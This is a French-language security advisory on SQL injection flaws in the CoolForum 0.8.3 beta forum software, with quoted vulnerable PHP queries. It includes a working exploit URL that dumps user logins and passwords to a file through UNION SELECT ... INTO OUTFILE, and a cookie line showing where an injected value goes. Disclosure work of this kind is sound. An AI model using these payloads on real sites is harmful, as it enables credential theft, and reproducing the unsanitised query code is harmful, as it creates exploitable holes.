+--------------------------------------------------------------------------------------------------+
|                                                                                                  |
|     Script: CoolForum <= 0.8.3 beta                                                              |
|        Web: www.coolforum.net                                                                    |
|   Download: http://www.coolforum.net/index.php?p=dlcoolforum                                     |
|      Genre: Forum                                                                                |
|  Vuln Type: 6 SQL Injection                                                                      |
|  Vuln File: editpost.php, login.php, admin/functions.php                                         |
|   Vuln Var: $_REQUEST['post'] , $_COOKIE['CF_sessionID'], $_REQUEST['parent']                    |
|                                                                                                  |
|                                                                                                  |
|                Analyse des scripts php [situés à la racine uniquement] par: DarkFig              |
| 			                                               Email: gmdarkfig@gmail.com  |
| 									 Web: acid-root.new.fr     |
| 									Date: [06-04-24]           |
|                                                                        MAJ: [06-05-05]           |
|                                                                                                  |
|                                                                                                  |
| Changelog: [06-04-24] -- Vendeur contacté                                                        |
|            [06-04-24] -- Le vendeur réponda                                                      |
|            [06-05-01] -- Version 0.8.4      => $_REQUEST['parent'] pas encore patchée            |
|                                                                                                  |
+--------------------------------------------------------------------------------------------------+
|                                                                                                  |
|                                       ---[ Sommaire ]---                                         |
|                                                                                                  |
| 1]Description et note                                                                            |
| 2]SQL Injection via la variable "post" envoyeé via GET         [  editpost.php / functions.php ] |
| 3]SQL Injection via le cookie nommé "CF_sessionID"             [  login.php                    ] |
| 4]Full Listing                                                                                   |
|                                                                                                  |
+--------------------------------------------------------------------------------------------------+



1]---[ Description et note
|
|
+--A)Description
|
| CoolForum est sous licence GPL donc totalement gratuit. Il s'installe en quelques minutes seulement et son utilisation est trés simple. Aucune connaissance en PHP, MySQL ou HTML n'est nécessaire pour pouvoir l'utiliser.
| Mais pour les personnes les mieux aguerries, CoolForum dispose de son propre moteur de templates, ce qui permet à n’importe qui ayant des bases en HTML et CSS de le personnaliser à sa guise. Des skins sont également disponibles sur le site officiel.
| Ce forum vous propose de nombreuses options : administration intuitive et complète, création de catégories et forums simplifiés, éditeur WYSIWIG, BBCode ... De nombreuses options que vous pourrez découvrir en utilisant ce forum sont disponibles .
| N'hésitez pas à découvrir notre forum de soutient qui vous proposera la meilleure démonstration. La version 0.8.3 apporte la correction d'une importante faille. La mise à jour est fortement conseillée.
| Note moyenne des testeurs: 5/5
|
|
+--B)Note
|
| J'ai pris ce script car c'était le premier d'une toplist d'un site proposant des CMS en téléchargement (comscripts).
| Le projet est assez intéressant et assez sécurisé pour ce que j'ai pu voir dans le code source.
| J'ai uniquement analysé les fichiers PHP situé à la racine du forum, je n'ai pas analysé les fichiers qui sont dans les autres dossiers.
| Mon but était de trouver des vulnérabilités de type SQL Injection, pas de XSS[apperement c'est pas le genre des fichiers situés à la racine ça] ou autre.
| Je ne ferais pas de partie sécurisation car les codeurs connaissent assez bien cette partie apperement, je pense que c'était des oublies =)
|
|
+---[ EOP



2]---[ SQL Injection via la variable "post" envoyeé via GET --- [ editpost.php / functions.php ]
|
|
+--A) editpost.php
|
| Ouvrons le fichier "editpost.php" et analysons où est présente la variable post (pas $post ici...):
|
| // Ligne 38
| if(isset($_REQUEST['post']))		$post			=	intval($_REQUEST['post']);
| else								$post			=	0;
| // Ligne 41
| 
| La fonction intval() permet de retourner la valeur numérique de la variable, ce qui protège $post d'une SQL Injection.
| Seulement le codeur a fait un oublie : Il a utiliser les variables $_REQUEST['post'] et $_REQUEST['parent'] (non protégée) à la place de $post et $parent(protégée), dans une requète SQL:
| 
| // Ligne 149
| 	if($_REQUEST['action']=="split" && $_MODORIGHTS[8])
| 	{
| 		$testchain=preg_replace("/([\s]{1,})/","",$_POST['sujet']);
| 		if(strlen($testchain)==0)
| 			$error=$tpl->attlang("nosujetwhensplit");
| 		
| 		if(strlen($error)==0)
| 		{
| 			$sql->query("INSERT INTO ".$_PRE."topics (idforum,sujet,date,icone,idmembre,pseudo) SELECT idforum,'".$_POST['sujet']."',date,icone,idmembre,pseudo FROM ".$_PRE."posts WHERE idpost='".$_REQUEST['post']."'");
| 						$id=mysql_insert_id();
| 			$sql->query("UPDATE ".$_PRE."posts SET parent='".$id."' WHERE parent='".$_REQUEST['parent']."' && idpost>='".$_REQUEST['post']."'");
| 			$sql->query("UPDATE ".$_PRE."posts SET sujet='".$_POST['sujet']."' WHERE idpost='".$_REQUEST['post']."'");
| 			
| 			updatetopiclastposter($id);
| 			updatetopiclastposter($_REQUEST['parent']);
| 			updateforumlastposter($_REQUEST['forumid']);
| 			
| 			$tpl->box['msg']=$tpl->attlang("splitok");
| 			$tpl->box['editcontent']=$tpl->gettemplate("editpost","msgbox");
| 			$tpl->box['editcontent'].=getjsredirect("list.php?forumid=".$_REQUEST['forumid'],3000);
| 		}
| 	}
| // Ligne 172
| 
| Pour executer ces différentes requètes, les droits de modérateur sont requis ($_MODORIGHTS[8]).
|
|
+--B) admin/functions.php
| 
| Une fonction nommée getrightedit() est appelée: 
| 
| // Ligne 77
| $canedit		=	getrightedit($_REQUEST['post'],$_REQUEST['forumid']);
| // Ligne 79
|
| On ouvre le fichier "admin/functions.php" :
| 
| // Ligne 623
| function getrightedit($idpost,$forumid)
| {
| 	global $_MODORIGHTS, $sql, $_USER, $_FORUMCFG, $_PRE, $_GENERAL, $_PERMFORUM;
| 	
| 	$query					=	$sql->query("SELECT idforum,idmembre,parent FROM ".$_PRE."posts WHERE idpost=".$idpost);
| 	$j						=	mysql_fetch_array($query);
| // Ligne 630
| 
| Or la variable $idpost est équivalent à la variable $_REQUEST['post'].
| Ce qui est bien (pour l'attaquant) c'est que la requète SQL n'utilise pas des quotes (',"), c'est un digit.
| magic_gpc_quote peut donc être sur On ou Off, ça ne nous empêche pas d'executer notre requète SQL (du moins si on utilise pas des quotes dans notre requète).
| On peut donc l'exploiter comme ceci (meme si un message nous dis que les droits de modérateur sont requis, la requète est éxécuté):
| http://[...]/editpost.php?forumid=1&post=3 UNION SELECT userid,login,password FROM cf_user INTO OUTFILE '/www/web/resultat.txt'%23&parent=1&p=1
|
|
+---[ EOP



3]---[ SQL Injection via le cookie nommé "CF_sessionID" --- [ login.php ]
|
|
| Ouvrons le fichier et analysons quand est utilisé une partie de notre cookie:
|
| // Ligne 94
| 			if(isset($_COOKIE['CF_sessionID']))
| 			{
| 				$now	=	time();
| 				$query	=	$sql->query("DELETE FROM ".$_PRE."session WHERE username='$pseudo'");
| 				$query	=	$sql->query("UPDATE ".$_PRE."session SET username='$pseudo', userid=".$j['userid'].", userstatus=".$j['userstatus'].", time=$now  WHERE sessionID='".$_COOKIE['CF_sessionID']."'");	
| 			}
| // Ligne 101
| 
| Il nous suffit donc de modifier la valeur de "CF_sessionID" de notre cookie pour modifier la requète SQL: 
| localhost	FALSE	/	FALSE	1262300400	CF_sessionID	596f713f9a7876fe90a62ebaacdecc2d'[SQL_INJECTION]%23
|
|
+---[ EOP



4]---[ Full listing
|
|
| Dossiers concernés: smileys, templates, skins, logos, icones
| Bon c'est pas une vulnérabilité mais ça peut être dangereux ... meme si plusieurs personne néglige cela, l'attaquant peut avoir beaucoup d'information.
| Imaginez un admin qui met un backup dans le dossier ... ou imaginez qu'un seul de ces fichiers php contienne une erreur (ce qui n'est pas rare), l'attaquant obtient un Full Path Disclosure et peut executé sa requète SQL.
|
|
+---[ EOF